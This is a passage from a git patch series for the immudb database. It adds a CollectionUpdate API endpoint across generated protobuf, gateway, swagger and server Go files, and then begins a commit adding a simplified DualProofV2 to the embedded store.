0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, + 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, + 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, + 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, + 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, + 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1848,7 +1992,7 @@ func file_documentschema_proto_rawDescGZIP() []byte { } var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 26) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 29) var file_documentschema_proto_goTypes = []interface{}{ (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator (IndexType)(0), // 1: immudb.documentschema.IndexType @@ -1876,57 +2020,65 @@ var file_documentschema_proto_goTypes = []interface{}{ (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse (*Proof)(nil), // 25: immudb.documentschema.Proof - nil, // 26: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 27: immudb.documentschema.CollectionInformation.IndexKeysEntry - (*structpb.Struct)(nil), // 28: google.protobuf.Struct - (*schema.VerifiableTx)(nil), // 29: immudb.schema.VerifiableTx - (structpb.NullValue)(0), // 30: google.protobuf.NullValue - (*structpb.Value)(nil), // 31: google.protobuf.Value + (*CollectionUpdateRequest)(nil), // 26: immudb.documentschema.CollectionUpdateRequest + (*CollectionUpdateResponse)(nil), // 27: immudb.documentschema.CollectionUpdateResponse + nil, // 28: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 29: immudb.documentschema.CollectionInformation.IndexKeysEntry + nil, // 30: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + (*structpb.Struct)(nil), // 31: google.protobuf.Struct + (*schema.VerifiableTx)(nil), // 32: immudb.schema.VerifiableTx + (structpb.NullValue)(0), // 33: google.protobuf.NullValue + (*structpb.Value)(nil), // 34: google.protobuf.Value } var file_documentschema_proto_depIdxs = []int32{ - 28, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 29, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx - 28, // 2: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 29, // 3: immudb.documentschema.DocumentUpdateResponse.proof:type_name -> immudb.schema.VerifiableTx - 30, // 4: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 31, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 32, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx + 31, // 2: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 32, // 3: immudb.documentschema.DocumentUpdateResponse.proof:type_name -> immudb.schema.VerifiableTx + 33, // 4: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue 0, // 5: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 31, // 6: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 34, // 6: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value 7, // 7: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 28, // 8: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 29, // 9: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx + 31, // 8: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 32, // 9: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx 14, // 10: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 28, // 11: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct + 31, // 11: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct 1, // 12: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 26, // 13: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 28, // 13: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry 18, // 14: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 27, // 15: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 29, // 15: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry 18, // 16: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation 18, // 17: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 15, // 18: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 19: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 20: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 4, // 21: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest - 8, // 22: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 12, // 23: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 10, // 24: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 16, // 25: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 20, // 26: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 21, // 27: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 23, // 28: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 3, // 29: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 5, // 30: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse - 9, // 31: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 13, // 32: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 11, // 33: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 17, // 34: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 19, // 35: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 22, // 36: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 24, // 37: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 29, // [29:38] is the sub-list for method output_type - 20, // [20:29] is the sub-list for method input_type - 20, // [20:20] is the sub-list for extension type_name - 20, // [20:20] is the sub-list for extension extendee - 0, // [0:20] is the sub-list for field type_name + 30, // 18: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + 18, // 19: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 15, // 20: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 21: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 22: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 23: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 4, // 24: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest + 8, // 25: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 12, // 26: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 10, // 27: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 16, // 28: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 20, // 29: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 21, // 30: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 23, // 31: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 26, // 32: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest + 3, // 33: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 5, // 34: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse + 9, // 35: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 13, // 36: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 11, // 37: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 17, // 38: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 19, // 39: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 22, // 40: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 24, // 41: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 27, // 42: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse + 33, // [33:43] is the sub-list for method output_type + 23, // [23:33] is the sub-list for method input_type + 23, // [23:23] is the sub-list for extension type_name + 23, // [23:23] is the sub-list for extension extendee + 0, // [0:23] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } @@ -2223,6 +2375,30 @@ func file_documentschema_proto_init() { return nil } } + file_documentschema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionUpdateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentschema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionUpdateResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } } file_documentschema_proto_msgTypes[4].OneofWrappers = []interface{}{ (*IndexValue_NullValue)(nil), @@ -2236,7 +2412,7 @@ func file_documentschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, - NumMessages: 26, + NumMessages: 29, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentschema/documentschema.pb.gw.go b/pkg/api/documentschema/documentschema.pb.gw.go index 760e151395..ef4771b37d 100644 --- a/pkg/api/documentschema/documentschema.pb.gw.go +++ b/pkg/api/documentschema/documentschema.pb.gw.go @@ -343,6 +343,40 @@ func local_request_DocumentService_CollectionDelete_0(ctx context.Context, marsh } +func request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionUpdateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionUpdateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionUpdate(ctx, &protoReq) + return msg, metadata, err + +} + // RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to "mux". // UnaryRPC :call DocumentServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. @@ -556,6 +590,29 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -777,6 +834,26 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -798,6 +875,8 @@ var ( pattern_DocumentService_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "list"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_CollectionUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( @@ -818,4 +897,6 @@ var ( forward_DocumentService_CollectionList_0 = runtime.ForwardResponseMessage forward_DocumentService_CollectionDelete_0 = runtime.ForwardResponseMessage + + forward_DocumentService_CollectionUpdate_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 0b40ae715a..01cbcf289f 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -197,6 +197,15 @@ message Proof { string name = 1; } +message CollectionUpdateRequest { + string name = 1; + map addIndexes = 2; + repeated string removeIndexes = 3; +} + +message CollectionUpdateResponse { + CollectionInformation collection = 1; +} service DocumentService { rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { @@ -287,4 +296,16 @@ service DocumentService { tags: "collections"; }; } + + + rpc CollectionUpdate(CollectionUpdateRequest) returns (CollectionUpdateResponse) { + option (google.api.http) = { + put: "/collections/update" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; + }; + } + } \ No newline at end of file diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 183f0b753d..a87df61b96 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -137,6 +137,38 @@ ] } }, + "/collections/update": { + "put": { + "operationId": "DocumentService_CollectionUpdate", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/documentschemaCollectionUpdateResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/documentschemaCollectionUpdateRequest" + } + } + ], + "tags": [ + "collections" + ] + } + }, "/documents/audit": { "post": { "operationId": "DocumentService_DocumentAudit", @@ -362,6 +394,34 @@ } } }, + "documentschemaCollectionUpdateRequest": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "addIndexes": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/documentschemaIndexOption" + } + }, + "removeIndexes": { + "type": "array", + "items": { + "type": "string" + } + } + } + }, + "documentschemaCollectionUpdateResponse": { + "type": "object", + "properties": { + "collection": { + "$ref": "#/definitions/documentschemaCollectionInformation" + } + } + }, "documentschemaDocumentAudit": { "type": "object", "properties": { diff --git a/pkg/api/documentschema/documentschema_grpc.pb.go b/pkg/api/documentschema/documentschema_grpc.pb.go index 749facc450..ec3c769b66 100644 --- a/pkg/api/documentschema/documentschema_grpc.pb.go +++ b/pkg/api/documentschema/documentschema_grpc.pb.go @@ -27,6 +27,7 @@ type DocumentServiceClient interface { CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) + CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) } type documentServiceClient struct { @@ -118,6 +119,15 @@ func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *Collec return out, nil } +func (c *documentServiceClient) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) { + out := new(CollectionUpdateResponse) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionUpdate", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + // DocumentServiceServer is the server API for DocumentService service. // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility @@ -131,6 +141,7 @@ type DocumentServiceServer interface { CollectionGet(context.Context, *CollectionGetRequest) (*CollectionGetResponse, error) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) + CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. @@ -164,6 +175,9 @@ func (UnimplementedDocumentServiceServer) CollectionList(context.Context, *Colle func (UnimplementedDocumentServiceServer) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") } +func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionUpdate not implemented") +} // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to DocumentServiceServer will @@ -338,6 +352,24 @@ func _DocumentService_CollectionDelete_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } +func _DocumentService_CollectionUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionUpdateRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).CollectionUpdate(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentschema.DocumentService/CollectionUpdate", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).CollectionUpdate(ctx, req.(*CollectionUpdateRequest)) + } + return interceptor(ctx, in, info, handler) +} + // DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -381,6 +413,10 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "CollectionDelete", Handler: _DocumentService_CollectionDelete_Handler, }, + { + MethodName: "CollectionUpdate", + Handler: _DocumentService_CollectionUpdate_Handler, + }, }, Streams: []grpc.StreamDesc{}, Metadata: "documentschema.proto", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 903b8cb1d3..cd2672aca8 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -36,6 +36,8 @@ type DocumentDatabase interface { UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) // DeleteCollection deletes a collection DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) + // UpdateCollection updates an existing collection + UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) } func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { @@ -221,3 +223,30 @@ func (d *db) DeleteCollection(ctx context.Context, req *schemav2.CollectionDelet return &schemav2.CollectionDeleteResponse{}, nil } + +// UpdateCollection updates an existing collection +func (d *db) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { + indexKeys := make(map[string]sql.SQLValueType) + + // validate index keys + for name, pk := range req.AddIndexes { + schType, isValid := schemaToValueType[pk.Type] + if !isValid { + return nil, fmt.Errorf("invalid index key type: %v", pk) + } + indexKeys[name] = schType + } + + err := d.documentEngine.UpdateCollection(ctx, req.Name, indexKeys, req.RemoveIndexes) + if err != nil { + return nil, err + } + + // get collection information + cinfo, err := d.getCollection(ctx, req.Name) + if err != nil { + return nil, err + } + + return &schemav2.CollectionUpdateResponse{Collection: cinfo}, nil +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 30e910b6e8..6e87c5c4a8 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -280,3 +280,7 @@ func (d *closedDB) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpd func (d *closedDB) DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { + return nil, store.ErrAlreadyClosed +} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 2126f3c4e2..4599c73141 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -129,3 +129,15 @@ func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentschema.Docu } return nil, nil } + +func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *documentschema.CollectionUpdateRequest) (*documentschema.CollectionUpdateResponse, error) { + db, err := s.getDBFromCtx(ctx, "CollectionUpdate") + if err != nil { + return nil, err + } + resp, err := db.UpdateCollection(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} From d21747f82c081b68e6516f3fe18a83e1139c6521 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Apr 2023 12:13:03 -0300 Subject: [PATCH 0406/1062] chore(embedded/store): simplified dualproof implementation Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 42 ++++++++++++++++++- embedded/store/immustore_test.go | 31 ++++++++++++++ embedded/store/verification.go | 71 ++++++++++++++++++++++++++++++++ 3 files changed, 143 insertions(+), 1 deletion(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 40a5a2c2d5..daa52f58d8 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -94,7 +94,7 @@ var ErrInvalidPreconditionNullKey = fmt.Errorf("%w: %v", ErrInvalidPrecondition, var ErrInvalidPreconditionMaxKeyLenExceeded = fmt.Errorf("%w: %v", ErrInvalidPrecondition, ErrMaxKeyLenExceeded) var ErrInvalidPreconditionInvalidTxID = fmt.Errorf("%w: invalid transaction ID", ErrInvalidPrecondition) -var ErrSourceTxNewerThanTargetTx = errors.New("source tx is newer than target tx") +var ErrSourceTxNewerThanTargetTx = fmt.Errorf("%w: source tx is newer than target tx", ErrIllegalArguments) var ErrCompactionUnsupported = errors.New("compaction is unsupported when remote storage is used") @@ -1815,6 +1815,13 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 return tx.Header(), nil } +type DualProofV2 struct { + SourceTxHeader *TxHeader + TargetTxHeader *TxHeader + InclusionProof [][sha256.Size]byte + ConsistencyProof [][sha256.Size]byte +} + type DualProof struct { SourceTxHeader *TxHeader TargetTxHeader *TxHeader @@ -1826,6 +1833,39 @@ type DualProof struct { LinearAdvanceProof *LinearAdvanceProof } +func (s *ImmuStore) DualProofV2(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualProofV2, err error) { + if sourceTxHdr == nil || targetTxHdr == nil || sourceTxHdr.ID == 0 { + return nil, ErrIllegalArguments + } + + if sourceTxHdr.ID > targetTxHdr.ID { + return nil, ErrSourceTxNewerThanTargetTx + } + + if sourceTxHdr.ID-1 != sourceTxHdr.BlTxID || targetTxHdr.ID-1 != targetTxHdr.BlTxID { + return nil, ErrUnexpectedLinkingError + } + + proof = &DualProofV2{ + SourceTxHeader: sourceTxHdr, + TargetTxHeader: targetTxHdr, + } + + if sourceTxHdr.ID < targetTxHdr.ID { + proof.InclusionProof, err = s.aht.InclusionProof(sourceTxHdr.ID, targetTxHdr.BlTxID) + if err != nil { + return nil, err + } + + proof.ConsistencyProof, err = s.aht.ConsistencyProof(maxUint64(1, sourceTxHdr.BlTxID), targetTxHdr.BlTxID) + if err != nil { + return nil, err + } + } + + return proof, nil +} + // DualProof combines linear cryptographic linking i.e. transactions include the linear accumulative hash up to the previous one, // with binary cryptographic linking generated by appending the linear accumulative hash values into an incremental hash tree, whose // root is also included as part of each transaction and thus considered when calculating the linear accumulative hash. diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index a2b60c95d2..d0636776e4 100644 --- 